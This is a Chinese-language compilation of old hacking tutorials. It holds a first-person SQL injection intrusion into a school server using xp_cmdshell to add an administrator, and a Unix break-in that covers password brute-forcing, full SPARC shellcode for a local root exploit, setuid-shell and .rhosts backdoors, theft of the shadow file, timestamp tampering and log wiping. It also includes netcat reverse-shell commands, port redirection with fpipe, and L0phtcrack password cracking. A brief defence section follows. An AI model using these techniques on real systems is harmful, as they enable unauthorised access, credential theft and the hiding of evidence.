最近日子越过越无聊,突然脑海里想起了这件事情,说干就干,那就去看看吧!
于是我来到他所在的学校的网站，看了看，还不错,做得满漂亮的.嘿嘿，开工！第一步当然是用流光去扫扫看了(我没有打补丁,因为那个学校正好和我是同一个市区的,在同一个C段,所以正好可以用),一杯咖啡喝完后，扫描已经结束。IDQ哈哈，居然有这样好的网站，不是明白着让我进去嘛！开始拿出SUNX写的IDQ溢出程序，可以直接获得系统管理员权限，只要懂一点计算机的都会当一把骇客的瘾！IDQ.EXE XXX.XXX.XXX.XXX 80 3 99　SEND OK！哈哈，就这么容易拿到权限了！我赶快TELNET XXX.XXX.XXX.XXX 99上去开始我的校园之旅，趁这个功夫,赶快去倒杯咖啡happy一下，当我拿着咖啡回来准备CONTINUE的时候，呀，怎么登陆失败，我靠，难道？？?我想不会的吧，又试了N次，还是不行，看来这个网络服务器不是打了补丁就是限制了低端口(1023以下的)的连接，哎，毕竟是大学的网管,还是有点安全意识的!我开始从其他途径寻找漏洞，因为它是WIN的服务器,正好开了139端口,利用小榕的SID枚举工具看看有什么好玩的帐户,恩,找到了,试试看穷举密码!突然想起上次cleaner给论坛上的兄弟们的一大堆黄色网站的帐号我还没试过了,嘿,真不知道这小子从哪里弄来这么多帐号,也不知道是真还是假,难道他家是开色情网站的???唉,虽然能用,质量不行,I do not like the girls!半个小时过去了竟然没有任何结果.算了,就此打住吧,谁让我是急性子呢!关掉，开始另外一种方法的试探！靠,，居然开着1433端口（MSSQLSERVER的端口），呵呵，似乎又发现了一条路径，它的程序ASP会有错误吗？于是开始检查他的程序，试有没有xxx.xxx.xxx.xxx/admin.htm,xxx.xxx.xxx.xxx/adnews.asp等程序，这是一种黑网站的捷径，因为好多程序员都有一个懒毛病，后台ASP管理程序不加认证，可以直接进去，以前我至少在黑日本的机子的时候遇到N家这样的网站.嘿嘿！那就继续做下去吧,http://xxx.xxx.xxx.xxx/downloads/downloads.asp?downloads_id=5000' ,故意在5000后面加了一个‘这个东西，看它是否过滤了特殊字符，马上回显页面
”Microsoft OLE DB Provider forODBCDrivers(0x80040E14)/downloads/downloads.asp, “哈哈，果然程序有问题，这下已经成功了一半了！，开始马上继续下面的在浏览器里输入xxx.xxx.xxx.xxx/downloads/downloads.asp?downloads_id=5000;use master;exec xp_cmdshell'net user rootshell ****** /add'--回车键敲定，哈哈，程序运行了，这句代码的意思是我用了sqlserver的MASTER数据库，然后我调用它的存储过程xp_cmdshell，'net user rootshell ****** /add’呢是我把我的用户名和密码加入它的系统里面，接着继续xxx.xxx.xxx.xxx/downloads/downloads.asp?downloads_id=5000;use master;exec xp_cmdshell'net localgroup administrators rootshell /add '，这句是把我加入管理员组里，最高权限！成功了，然后通过远程共享net use f: \\xxx.xxx.xxx.xxx\d$ "******" /user:"rootshell"，这样就把它的D盘影射为我的F盘了，我马上打开F盘，哈哈，所有的东东全在里面，然后寻找CONN.INC或者CONN.ASP看他的SQLSERVER的SA的密码，找到后，用我的Sqlserver连上后，我的天，在ZXKS数据库里面居然有所有学生的考试成绩，下面的事情嘛，当然是清理战场了，但是我申明没有动他的任何记录哟！后来我又给管理员发了一封信，也不知道怎么样，好象现在漏洞还没有修补的嘛！哎！我也已经尽了力了，不管我的事情了！


一个unix攻击的例子

§.前言

    这篇文章主要针对一些对网络安全感兴趣、同时又还不怎么熟悉Unix入侵和防范的朋友们而写的一篇文章。本文循序渐进地介绍了黑客攻击Unix主机的主要方法和系统管理员如何针对这些方法进行有效的防御等。
    §.Unix的特点

    Unix能流行起来绝对不是偶然的，这跟Unix本身的特点之突出是分不开的特点，那就是：1、极强的可移植性；2、启动异步进程的能力；3、一致的文件、设备和进程间I/O；5、层次化的文件系统；6、可用其它Shell来替代默认Shell的能力； 7、真正的多用户和多任务。

    列位注意，通常的Unix系统用户有两种：根用户和普通用户。

    1.root——根用户

    这是SuperUser（超级用户）的帐号，可以用这个帐号对本系统进行所有操作！获得对系统的根访问权限，也是黑客们拼命追求的终极目标。

    2.普通用户

    给User（普通用户）使用，具体权限由root分配的账户。可以有多个等级。黑客们多由此类账户开始试图进入系统，如下例就是如此。

    §.攻击Unix系统的范例

    先补了一些关于Unix的知识，下面我们要开始小试牛刀了。我们的攻击平台是一台安装了Redhat 6.0（内核版本2.2.5-15）的工作站（当然Win9x/Win2000上也可以试试啰!）。

    声明：本文中的目标主机的IP分别是202.202.0.8、202.103.10.110和211.50.33.117，以上IP纯属本人杜撰。如该IP所属主机确实存在，则纯属巧合。

    开始啦！

    “又死机了！这是什么烂东西？可恶！”我愤怒地猛击键盘“还号称全智能化软件……给您‘身临其境的美妙体验’……，完全是放P！”我怒吼着。才买几天的英语学习软件就频频死机，而且花去了不菲的xxx大元人民币，使我有一种彻底受骗的感觉。“你这个骗子，我非要给你点厉害看看，看你还到处骗人！”我一边愤愤地叫着，一边抄下了包装盒上那个“骗子”软件公司的网址：www.shitsoft.com.cn 。当夜无话。

    第二天。忙了一早上，直到中午吃完中餐后才闲下来，众人皆昏昏然欲见周公，我则坐到我的红帽子旁，开始了正义的惩罚……

    首先找一台Proxy，这样就不会被反查法给抓到了。^_^ 不知原来那台韩国的“公鸡”还在不在？试一试：

bash# telnet 211.50.33.117
Red Hat Linux release 6.2 (Goozer)
Kernel 2.2.14-5.0 on an i686
login:crossbow
password:
bash$

    Ok! 还可以用，这么长时间没有理它，竟然还可以用！韩国的管理员真是太“好”了！^_^ 接着ping一下我们的目标，看看它长得啥模样：

bash$ pwd
/home/crossbow
bash$ ping www.shitsoft.com.cn
Pinging www.shitsoft.com.cn [202.202.0.8] with 32 bytes of data:

Reply from 202.202.0.8: bytes=32 time<10ms TTL=245
Reply from 202.202.0.8: bytes=32 time<10ms TTL=245
Reply from 202.202.0.8: bytes=32 time<10ms TTL=245
Reply from 202.202.0.8: bytes=32 time<10ms TTL=245

Ping statistics for 202.202.0.8:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 0ms, Maximum = 0ms, Average = 0ms

    速度不慢，看IP是中国教育网的机器，从TTL看估计是一台Unix。验证一下：
bash$ telnet 202.202.0.8
SunOS 5.6
login:

    呵呵，是一台SunOS 5.6的烂机器。先猜猜看：

login:adm
password:
Login incorrect

loginracle
password:
Login incorrect

login:ftp
password:
Login incorrect

^C

    可恶！今天火气真差！一个没猜到。:-( 用messala扫描一下看有没有CGI漏洞：（略去复杂的扫描过程）………… 结果是滴水不漏！:-( 这个鸟管理员还挺勤快的…… 只好用nss看看它开了什么服务吧！…………还好，telnet、ftp和finger的端口都打开了！^_^ 先看看有没有匿名ftp账户：

bash$ ftp 202.202.0.8
Connected to 202.202.0.8...
220 Cool FTP server(Version xxx Tue Dec 8 12:42:10 CDT 2001) ready.
Name(202.202.0.8:FakeName):anonymous
331 Guest login ok,send you complete e-mail address as password.
Password:
230:Welcome,archive user!
…………
…………
…………
ftp>

    还行，匿名ftp服务没有关，竟然可以用anonymous账户进来了！赶紧抓他的passwd：

ftp>ls
…………
bin boot etc dev home lib usr proc lost+found root sbin src tmp usr var
…………
ftp>cd /etc
…………
ftp>ls *passwd*
…………
passwd passwd-
…………

    不会如此简单吧？看一看？：

ftp>cat passwd|more
…………
root:x:0:1uper-User:/:/sbin/sh
daemon:x:1:1::/:
bin:x:2:2::/usr/bin:
sys:x:3:3::/:
adm:x:4:4:Admin:/var/adm:
telnet:x:71:8:Line Printer Admin:/usr/spool/lp:
uucp:x:5:5:uucp Admin:/usr/lib/uucp:
nuucp:x:9:9:uucp Admin:/var/spool/uucppublic:/usr/lib/uucp/uucico
listen:x:37:4:Network Admin:/usr/net/nls:
ftp:60001:60001:Ftp:/:
noaccess:x:60002:60002:No Access User:/:
nobody:x:65534:65534unOS 4.x Nobody:/:
dennis:x:1005:20::/export/home/dennis:/bin/sh
walter:x:1001:100::/export/home/walter:/bin/sh
power:x:9589:101::/export/home/power:/bin/sh
deal:x:1035:20::/export/home/deal:/bin/sh
jessica:x:3000:300:Agent Client 1:/export/home/jessica:/bin/sh
smith:x:3001:300:Agent Client 2:/export/home/smith:/bin/sh
render:x:9591:101::/export/home/render:/bin/sh

…………

    倒霉，是个空的passwd！看看备份：

ftp>cat passwd-|more
…………
root:x:0:1uper-User:/:/sbin/sh
daemon:x:1:1::/:
bin:x:2:2::/usr/bin:
sys:x:3:3::/:
adm:x:4:4:Admin:/var/adm:
telnet:x:71:8:Line Printer Admin:/usr/spool/lp:
uucp:x:5:5:uucp Admin:/usr/lib/uucp:
nuucp:x:9:9:uucp Admin:/var/spool/uucppublic:/usr/lib/uucp/uucico
listen:x:37:4:Network Admin:/usr/net/nls:
ftp:60001:60001:Ftp:/:
noaccess:x:60002:60002:No Access User:/:
nobody :x:65534:65534unOS 4.x Nobody:/:
dennis:x:1005:20::/export/home/dennis:/bin/sh
walter:x:1001:100::/export/home/walter:/bin/sh
power:x:9589:101::/export/home/power:/bin/sh
deal:x:1035:20::/export/home/deal:/bin/sh
jessica:x:3000:300:Agent Client 1:/export/home/jessica:/bin/sh
smith:x:3001:300:Agent Client 2:/export/home/smith:/bin/sh
render:x:9591:101::/export/home/render:/bin/sh

…………

    没救了，一样的！查查看有没有shadow文件：
ftp>ls *shadow*
…………
shadow shadow-
…………

    哈哈，一般passwd是空的，那么密码就在shadow中！

ftp>cat shadow|more
…………
[sh$ cat shadow|more]: Permission denied
…………

    可恶，看都不让看，试试备份文件：

ftp>cat shadow-|more
…………
[sh$ cat shadow-|more]: Permission denied
…………

    都一样——不让看！Faint! 只好可怜惜惜地把空passwd抓回来——有几个用户名总比没有强吧？

ftp>get passwd
226 Transfer complete.
540 bytes received in 0.55 seconds (1.8Kbytes/s)
ftp>bye
221 Goodbye.
bash$

    研究一下，除去root和被关掉的账号，还有七个可用账号：dennis、walter、power、deal、jessica、smith和render，他们就是我们进入该主机最后的希望。^_^ finger上场！

bash$ finger @202.202.0.8
[202.202.0.8 ]
Login　　Name　　　　　　TTY　Idle　When　Where
daemon　　???　　　　　　　　　　　　　　 < . . . . >
bin　　　 ???　　　　　　　　　　　　　　 < . . . . >
sys　　　 ???　　　　　　　　　　　　　　 < . . . . >
walter　　Walter Wan　　 pts/0　　　　　　202.202.0.114
dennis　　Dennis Lee　　　437　　　　　　 888wnet.net
power　　 Power Xiong　　　0　　　　　　　202.202.0.10
deal　　　H Wang　　　　 pts/2　　　　　　202.202.0.11
admin　　 ???　　　　　　　　　　　　　　< . . . . >
jessica　Jessica Xiao　　pts/0　　　　　　202.202.0.9
smith　　Smith Liu　　　 pts/0　　　　　　202.202.0.13
render　 Render　　　　　pts/0　　　　　　202.103.10.117
ftp　　　 ???　　　　　　　　　　　　　　< . . . . >

    好！我需要的Name出来了，赶快保存：

bash$ finger @202.202.0.8 >> /home/crossbow/name.lst
bash$ more /home/crossbow/name.lst
[202.202.0.8 ]
Login　　　Name　　　　TTY　　Idle　When　Where
daemon　　 ???　　　　　　　　　　　　　　< . . . . >
bin　　　　???　　　　　　　　　　　　　　< . . . . >
sys　　　　???　　　　　　　　　　　　　　< . . . . >
walter　　Walter Wan　　pts/0　　　　　　　 202.202.0.114
dennis　　Dennis Lee　　 437　　　　　　　　888wnet.net
power　　Power Xiong　　0　　　　　　　　 202.202.0.10
deal　　　H Wang　　　 pts/2　　　　　　　202.202.0.11
admin　　　???　　　　　pts/0　　　　　　　< . . . . >
jessica　　Jessica Xiao　　 pts/0　　　　　　　202.202.0.9
smith　　 Smith Liu　　　 pts/0　　　　　　　202.202.0.13
render　　Render Chen　　　0　　　　　　　　202.103.10.117
ftp　　　　???　　　　　　　　　　　　　　< . . . . >

    由于很多人都用自己的姓名及变体作密码，我们就用他们的用户名、姓、和数字的各种组合试一试，成功率应该不低。这里我用一个我自己用C写的程序——got!来跑吧。got!它自己会用用户的姓、名和0-9数字的各种组合来尝试模拟telnet登陆，省时省力。^_^ 不过这种暴力破解法会在目标机的日志上留下痕迹。:-( 因此后面进去后一定记得把日志“加工”一下。它的用法是：got! -n 用户的姓 目标机器 用户名，你也可以用-f来指定字典文件暴力穷举。
bash$ got! -n wan 202.202.0.8 walter
Attempting...

    N分钟以后…………

Failed!
bash$

    见鬼！失败了一个，再试下一个：

bash$ got! -n lee 202.202.0.8 dennis
Attempting...
Failed!
bash$

    再次失败,已经浪费了不少时间了！:-(“失败是成功之母”，不要灰心，接着来：

bash$ got! -n xiong 202.202.0.8 Power
Attempting...
Bingo!!!
The password of user 'power' is 'xiong99'! Good luck!
bash$

    哈哈，得手了！终于搞到一个账户了——用户名：power；密码：xiong99。赶快用telnet吧！

bash$ telnet 202.202.0.8
SunOS 5.6
loginower
password:
Last login: Sun Dec 2 13:21:55 CDT 2001 from 202.202.0.10
Sun Microsystems Inc. SunOS 5.6
You have mail.

    进来了！这个用户不久前还登陆过嘛！不过千万不要看mail，先看看现在有几个人：

$ w
13:07pm up 61 day(s), 3 users, …………
User tty login@ idle JCPU PCPU what

root pts/0 11:49am tail -f syslog
smith pts/5 12:13pmls -l *.c
power pts/7 13:07pm w

    乖乖，管理员正在检查日志！可得小心点！看看这台Sun的版本细节：

$ uname -a
SunOS dev01 5.6 Generic_105181-19 sun4u sparc SUNW,Ultra-5_10

    在看看这个用户的环境设置：

$ set
HOME=/export/home/power
HZ=100
IFS=
LOGNAME=power
MAIL=/var/mail/power
MAILCHECK=600
OPTIND=1
PATH=/usr/bin:
PS1=$
PS2=>
SHELL=/bin/sh
TERM=ansi
TZ=China

    再看看有没有gcc，没有这玩艺，那就……@#$%^&*!

$ gcc
gcc: No input files.

    不错，编译器还“健在”，没被删掉。现在，我们就开始溢出吧！^_^
$ cd
$ pwd
$ /export/home/power
$ mkdir ...
$ cd ...
$ vi ./.of.c

file://Here is the C source code for overflow
    in SunOS.
#include
#include
#include
#include
#include

#define NOPNUM 4000
#define ADRNUM 1200
#define ALLIGN 3

char shellcode[]=
"\x20\xbf\xff\xff" /* bn,a */
"\x20\xbf\xff\xff" /* bn,a */
"\x7f\xff\xff\xff" /* call */
"\x90\x03\xe0\x20" /* add %o7,32,%o0 */
"\x92\x02\x20\x10" /* add %o0,16,%o1 */
"\xc0\x22\x20\x08" /* st %g0,[%o0+8] */
"\xd0\x22\x20\x10" /* st %o0,[%o0+16] */
"\xc0\x22\x20\x14" /* st %g0,[%o0+20] */
"\x82\x10\x20\x0b" /* mov 0xb,%g1 */
"\x91\xd0\x20\x08" /* ta 8 */
"/bin/ksh";

char jump[]=
"\x81\xc3\xe0\x08" /* jmp %o7+8 */
"\x90\x10\x00\x0e"; /* mov %sp,%o0 */

static char nop[]="\x80\x1c\x40\x11";
main(int argc,char **argv)
{
char buffer[10000],adr[4],*b,*envp[2];
int i;
printf("copyright LAST STAGE OF DELIRIUM dec 1999 poland file://lsd-pl.net/\n");
printf("/usr/lib/lp/bin/netpr solaris 2.7 sparc\n\n");
if(argc==1)
{
printf("usage: %s lpserver\n",argv[0]);
exit(-1);
}
*((unsigned long*)adr)=(*(unsigned long(*)())jump)()+7124+2000;
envp[0]=&buffer[0];
envp[1]=0;
b=&buffer[0];
sprintf(b,"xxx=");
b+=4;
for(i=0;i<1+4-((strlen(argv[1])%4));i++) *b++=0xff;
for(i=0;i<1+4-((strlen(argv[1])%4));i++) *b=0;
b=&buffer[5000];
for(i=0;i<1+4-((strlen(argv[1])%4));i++) *b=0;
execle("/usr/lib/lp/bin/netpr","lsd","-I","bzz-z","-U","x!x","-d",argv[1],
"-p",&buffer[5000],"/bin/sh",0,envp);
}

    上面我们建立一个隐藏目录“...”，再建立一个隐藏的源代码文件“.of.c”。接着输入一大串代码，最后按:wq保存并退出vi。我们看看源代码是否生成了：

$ ls -al

total 1330
drw-rw-rw- 7 power user 1999 Jul 4 19:07 .
drw-r--r-- 35 root root 1999 Jun 29 16:52 ..
-rw-rw-r-- 1 power user 2001 Dec 8 13:15 .of.c

    Ok! 现在编译链接吧！^_^

$ gcc -o .of .of.c
.of.c:17: malFORMed floating constant
.of.c:18: malFORMed floating constant
.of.c:23: nondigits in number and not hexadecimal
…………
…………
gcc$ Error 2 $]
$

    ？？？怎么出错了？！估计是有地方敲错了。只好先用gdb调试，再用vi来修改了,真麻烦！（略去调试过程）…………终于改完了，编译试一试：
$ gcc -o .of .of.c
$

    幸好没出错。Run一下啰…………别慌！看看root还在不在：

$ w
13:31pm up 61 day(s), 1 user, …………
User tty login@ idle JCPU PCPU what

power pts/7 13:07pm w

    就我一个人了？估计忙了一早上，他们肯定饿坏了，都去吃饭去了吧！^_^

$ ./.of
usage: ./.of lpserver
$ ./of localhost
#

    哈哈！成功了！看见提示符变成“#”没有？这就是root的特权标志！

# whoami
root
#

    没错了！哈哈！开始我们的“工作”吧：^_^

# rm -fr ./.of.c
# mkdir /usr/man/man1/...
# cp /bin/ksh /usr/man/man1/.../.zsh
# chmod +s /usr/man/man1/.../.zsh

    首先删掉了源代码文件，然后在/usr/man/man1/下建立一个隐藏目录“...”，把ksh这个shell拷过去隐藏起来，并把属性改成-rwsr-sr--。这是个简单的后门，下次我一进来执行它就可以root了，省时省力。^_^

# cd ..
# cd ..
# pwd
/export/home
# ls
dennis walter power deal jessica smith render
# cd render
# echo '++' >./.rhosts
# ls －l
………… .rhosts …………
#

    好，又在render的home里建了一个可以远程登陆的后门。下面把这台主机的shadow传回去，以后可以用John多跑一些密码出来：^_^

# cp /etc/shadow /export/home/power/.../.s
# chmod 666 /export/home/power/.../.s
# exit
$ exit
bash$
bash$ ftp 202.202.0.8
Connected to 202.202.0.8...
220 Cool FTP server(Version xxx Tue Dec 8 12:42:10 CDT 2001) ready.
Name(202.202.0.8:FakeName)ower
331 Guest login ok,send you complete e-mail address as password.
Password:
230:Welcome,power!
…………
…………
…………
ftp>ls
ftp>cd ...
ftp>ls -l
…………
.zsh .s
…………
ftp>get .s
226 Transfer complete.
540 bytes received in 0.55 seconds (1.8Kbytes/s)
ftp>bye
221 Goodbye.
bash$

    顺利地get回来了。再次登陆之：

bash$ telnet 202.202.0.8
SunOS 5.6
loginower
password:
Last login: Mon Dec 8 13:21:15 CDT 2001 from 211.50.33.117
Sun Microsystems Inc. SunOS 5.6
$ /usr/man/man1/.../.zsh
# whoami
root
#

    利用刚才作的后门，轻松得到root。别忘了用touch给每个你动过的文件改时间，以免被管理员发现文件被动过！BTW:touch的用法是：touch -t 200112081314 目标文件。然后我们用power的身份telnet一下自己，免得被power下次登陆一下就发现IP有问题：
# telnet localhost
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
SunOS 5.6
login: power
Password:
Last login: Mon Dec 8 13:21:55 CDT 2001 from 202.202.0.8
Sun Microsystems Inc. SunOS 5.6 Generic August 1997
You have mail.
$ exit
Connection closed by foreign host.
#

    下面我们要“擦脚印”了，一般需要我们擦的日志有如下几个： lastlog、utmp(utmpx)、wtmp(wtmpx)、messages、syslog和sulog。你可以用vi手动删除，不过我“好心”告诉你，手动一条条地删太麻烦，这里我们使用一个perl写的脚本cleaner.sh，它可以帮我们把PP擦得干干净净 ^_^（这里略去如何将cleaner.sh用ftp传上来，并隐藏起来的步骤）：

chmod +x ./cleaner.sh
#./cleaner.sh power
Log cleaner v0.5b By: Tragedy/Dor OS
detection....
Detected SunOS
Log cleaning in process....
* Cleaning aculog ( 0 lines)...0 lines removed!
* Cleaning lastlog ( 19789 lines)...45 lines removed!
* Cleaning messages ( 12 lines)...1 lines removed!
* Cleaning messages.0 ( 12 lines)...0 lines removed!
* Cleaning messages.1 ( 28 lines)...0 lines removed!
* Cleaning messages.2 ( 38 lines)...0 lines removed!
* Cleaning messages.3 ( 17 lines)...0 lines removed!
* Cleaning spellhist ( 0 lines)...0 lines removed!
* Cleaning sulog ( 986 lines)...6 lines removed!
* Cleaning utmp ( 179 lines)...1 lines removed!
* Cleaning utmpx ( 387 lines)...1 lines removed!
* Cleaning vold.log ( 0 lines)...0 lines removed!
* Cleaning wtmp ( 299 lines)...0 lines removed!
* Cleaning wtmpx ( 565 lines)...0 lines removed!
* Cleaning authlog ( 0 lines)...0 lines removed!
* Cleaning syslog ( 53 lines)...0 lines removed!
* Cleaning syslog.0 ( 14 lines)...0 lines removed!
* Cleaning syslog.1 ( 64 lines)...0 lines removed!
* Cleaning syslog.2 ( 39 lines)...0 lines removed!
* Cleaning syslog.3 ( 5 lines)...0 lines removed!
* Cleaning syslog.4 ( 3 lines)...0 lines removed!
* Cleaning syslog.5 ( 210 lines)...0 lines removed!
# ./cleaner.sh root
…………

    擦干净后再如法对root账户炮制一遍。最后……看了一下手表，哇！13:53了，又要上工了，:-( 以后再来消遣你吧！^_^ 现在，我要上工，你就好好休息啰！嘿嘿！

# /sbin/shutdown now
…………

    关机啦！Wow!

    §．讨论及防范措施

    好了！我们从上面的例子可以看出，黑客的攻击步骤是如下六个步骤：

    1.收集资料
    2.取得普通用户的权限
    3.远程登陆
    4.取得超级用户的权限
    5.留下后门
    6.清除日志

    其中最重要，也是最容易被管理员忽视的是第二个步骤。如果能够得到一个那怕是权限再小的账户，黑客也可以利用各种五花八门的漏洞来提升他的权限，并最终获得root。许多人认为只要对root账户加以注意就足够了，其实不然，如果黑客很容易地进入了主机，那他就会跳过root口令这一攻击难点，直接利用缓冲区溢出来root（如上面的例子就是这样）。因此，大家一定要注意对普通账户密码强度的测试和检查，并强令用户定期更改。

    定期遍历磁盘检查.rhosts文件，这个后门十分危险，它可以直接不用口令而远程登陆。况且现在有不少的工具可以自动扫描这个漏洞，一旦发现一个，黑客们就会像苍蝇闻到血味一样蜂拥而至。如果他们像我一样的“善良”，只玩个shutdown还好说；碰到个把“辣手”黑客来个rm -fr *，你的饭碗估计就会丢了！

    定期检查属性为-rwsr-sr--的文件。这种文件只要一被user执行，他马上就会具有和该文件创造者一样的权限。如果创造者是root的话，结果可想而之。一般黑客们都将shell改成此类属性然后藏起来，便于下次利用。

    不要过分相信日志，因为它很可能是被入侵者加过“工”的。注意留心某些启动时自动加载的文件的内容和时间，因为它们可能会被植入木马。如：/etc/rc.d/init.d/network，就是在网络服务启动时自动加载的。

    使用MD5保护自己的二进制程序。MD5在发现/bin、/sbin等目录下的文件被替换时会报警或用Email通知管理员，这可以有效地防止假login、假su的诱骗。

    使用getsniff和rootkit detector等工具查找系统中是否有嗅探器和rootkit黑客工具包，尤其是rootkit，这玩艺危害无穷。

    留心自己的CGI是否有漏洞，现在针对CGI漏洞的扫描工具特别多：如Unix/Linux平台下的messala和hunt等；Win9x/Win2000平台下的Twwwsacn和流光等等。尤其是流光，不论高手还是菜鸟都喜欢用它，真是一副老少皆宜的奇怪景观。^_^

    如果不需要ftp服务，最好关掉它，开着只会后患无穷。黑客可以先将rootkit、特制的su，已修改过属性的shell放在他自己的ftp服务器上，得到普通账户后直接上传到你的机器上并执行之，他就root了。简单吧？


fpipe

很早就看到这个工具,一直没有用,今天试了一下,还挺有意思的.

这是一个命令行下的端口重定向工具,可以把本机的任一端口定向到别的机器的端口,可以作为突破防火墙的方式之一,
他的帮助: #以后是理解性的注释
------------------------------------------------------------
FPipe v2.04 - TCP port redirector.
Copyright 2000 (c) by Foundstone, Inc.
http://www.foundstone.com

FPipe [-hv?] [-brs <port>] IP

-?/-h - shows this help text
-c - maximum number of allowed simultaneous connections. Default is 32 #连接的最大数目,默认是32
-l - listening port number #要监听的TCP端口号
-r - remote TCP port number #要定向到的IP主机的端口号
-s - outbound connection source port number #从哪个端口发出重定向信息
-v - verbose mode #详细显示过程

Example:
fpipe -l 53 -s 53 -r 80 192.168.1.101

This would set the program to listen for connections on port 53 and
when a local connection is detected a further connection will be
made to port 80 of the remote machine at 192.168.1.101 with the
source port for that outbound connection being set to 53 also.
Data sent to and from the connected machines will be passed through.
-------------------------------------------------------------------
比如在命令行下键入:
C:\tools>fpipe -l 80 -s 88 -r 80 203.196.7.113
#监听本机80端口,如有连接,从本机88端口发出请求连接202.196.7.113的80端口
FPipe v2.04 - TCP port redirector.
Copyright 2000 (c) by Foundstone, Inc.
http://www.foundstone.com
#以下是记录的连接信息:
Pipe connected:
In: 127.0.0.1:2805 --> 127.0.0.1:80
Out: 192.168.0.3:88 --> 203.196.7.113:80
Pipe connected:
In: 192.168.0.3:2808 --> 192.168.0.3:80
Out: 192.168.0.3:88 --> 203.196.7.113:80

现在我们在IE里输入本机地址如http://127.0.0.1/ 就会出现202.196.7.113的网页.

用ctrl+C终止程序.
其实这个工具还有其他的许多用处,需要我们去挖掘应用.

wawa 2001.11.3


L0phtcrack 3.0 图解使用教程

LC3是破解WINDOWS密码档SAM的专用工具，支持WIN2000的SAM，怎么抓SAM，这里不详述。
LC3的工作方式是用字典结合暴力破解，因为在本地破解，所以LC3的破解速度很快，具作者宣称，10分钟内可以破18%的密码，在PII300的机器上48小时内可以破90%的密码。

好的我们首先下载LC3 本地下载
这个软件是要注册的，没注册功能受到限制，我想大家没怎么多钱去买的，幸好压缩包里还有个注册器。
好的下载完，安装、注册、启动，如果没问题，我们就可以看到LC3主界面，见图1

主界面主要分4个部分：
1.快捷工具栏
2.主工作区，我已经导入了一个SAM，并破解了一部分。可以看到用户名和已经破解的密码。大家注意有个< 8栏，如果打个叉，说明用户密码小于8位，破解的难度就小点。
3.显示字典破解进度。
4.显示暴力破解进度，显示破解所用时间，和剩下的时间。
图2

5.注意这个功能，是拆分SAM，你可以SAM把拆分成几个密码档，放到几台机器上同时跑，可以大大加快破解速度。 见图3
6.设置破解模式。见图4

图3

7.存放拆分文件的目录。
8.拆分文件的文件名.
9.分成几部分。

图4

10.字典破解设置，LC3已经提供了一个字典（推荐），你也可以用自己的字典。
11.字典加后缀破解。可以设定后缀的长度。
12.暴力破解设置。你可以设置暴力破解的字符。

图5

13.当LC3工作时，把程序缩到工具栏。
14.当LC3工作时，隐藏到后台，用Ctrl+Alt+L恢复。

图6

这里是LC3的关键，这些功能是让你可以从不同的地方，导入SAM。
15.抓本机SAM档，干什么用？！这让你看看自己的机器有没有弱密码。
16.从远程机器上抓SAM，这就要用到IPC了，而且要有ADMIN的权限，不过这个功能好象没有PWDUMP3好用，所以建议用PWDUMP3抓远程机器上SAM，导入LC3破解，也就是20的功能。
17.如果你已经搞到SAM了，用这里直接导入。
18.从Sniffer导入，这个功能我还没用过。
19.从.LC导入，也就是从老的L0phtcrack 2.0生成的文件导入。
20.从PWDUMP抓的密码档导入。

好了LC3的基本功能讲完了，你设置好后，GO，剩下的事情就交给机器了。我的经验，最好用好机器来跑，破解时占用CPU时间很多。不要被进度所显示的时间吓倒，一般不会用这么长的。


NC

想要连接到某处: nc [-options] xxx.xxx.xxx.xxx [ports]
绑定端口等待连接: nc -l -p port [-options] [hostname] [port]
参数:
-e prog -g gateway source-routing hop point[s], up to 8
-G num source-routing pointer: 4, 8, 12, ...
-h 帮助信息
-i secs 延时的间隔
-l 监听模式，用于入站连接
-n 指定数字的IP地址，不能用hostname
-o file 记录16进制的传输
-p port 本地端口号
-r 任意指定本地及远程端口
-s addr 本地源地址
-u UDP模式
-v 详细输出——用两个-v可得到更详细的内容
-w secs timeout的时间
-z 将输入输出关掉——用于扫描时

如何用nc建立反向通道
( 2002/01/22)

在Hacking Exposed上讲了两个办法。经过试验是可行的。

方法一：

使用nc创建一个从目标机器到攻击者自己的机器的反向通道。因为从目标机器发起连接，通常防火墙不会阻挡。

攻击者机器：开两个窗口（or 两个终端）机器类型不限

nc -l -n -v -p 80 （该窗口用来输入命令）

nc -l -n -v -p 25 （该窗口用来得到输出）

目标机器：

通过cgi的毛病或者IIS的毛病来运行该指令

nc 攻击者机器 80 | /bin/sh | nc 攻击者机器 25

nc 攻击者机器 80 | c:\winnt\system32\cmd.exe | nc 攻击者机器 25 （对于windows NT作为目标的情况）

这个时候从nc监听80的那个窗口输入命令，就可以从监听25那个窗口看到结果了。

没解决的问题：

Hacking Exposed上说是完全可以用telnet来运行的。也就是上面在目标机器执行的nc都是可以用telnet来取代，它是假设目标机器没有nc这个工具的。实际上我研究不出来。不灵，只能连接一下，马上就断了。

方法二：

目标机器有nc的情况，不过这个nc要有-e参数。windows下的nc.exe默认就是有-e参数。而UNIX下的默认是没有的。具体原因是要在netcat.c里打开一个已经#define GAPING_SECURITY_HOLE选项。不过什么原因我不懂，就直接把sinbad改好的netcat.c发过来好了。

攻击者机器：

nc -l -n -v -p 80

目标机器：

nc -e /bin/sh 攻击者机器 80 （这个时候该窗口将得到交互式的SHELL）

nc -e c:\winnt\system32\cmd.exe 攻击者机器 80

ok了


Nmap网络安全扫描器说明

Nmap网络安全扫描器说明(Linux)

作者：Fyodor 译者：quack

名称
nmap - 网络勘察工具和安全扫描器

摘要
nmap [扫描类型] [选项] <主机或网络 #1 ... [#N]>

描述
nmap被开发用于允许系统管理员察看一个大的网络系统有哪些主机以及其上运行何种服务。它支持多种协议的扫描如UDP，TCP connect(),TCP SYN (half open), ftp proxy (bounce attack),Reverse-ident, ICMP (ping sweep), FIN, ACK sweep,Xmas Tree, SYN sweep, 和Null扫描。你可以从SCAN TYPES一节中察看相关细节。nmap还提供一些实用功能如通过tcp/ip来甄别操作系统类型、秘密扫描、动态延迟和重发、平行扫描、通过并行的PING侦测下属的主机、欺骗扫描、端口过滤探测、直接的RPC扫描、分布扫描、灵活的目标选择以及端口的描述。

对非ROOT的用户来说，nmap的正式版可以做很多重要的东西了。不幸的是部份关键的核心功能（比如raw sockets）需要root权限。所以尽量以root的身份运行nmap。

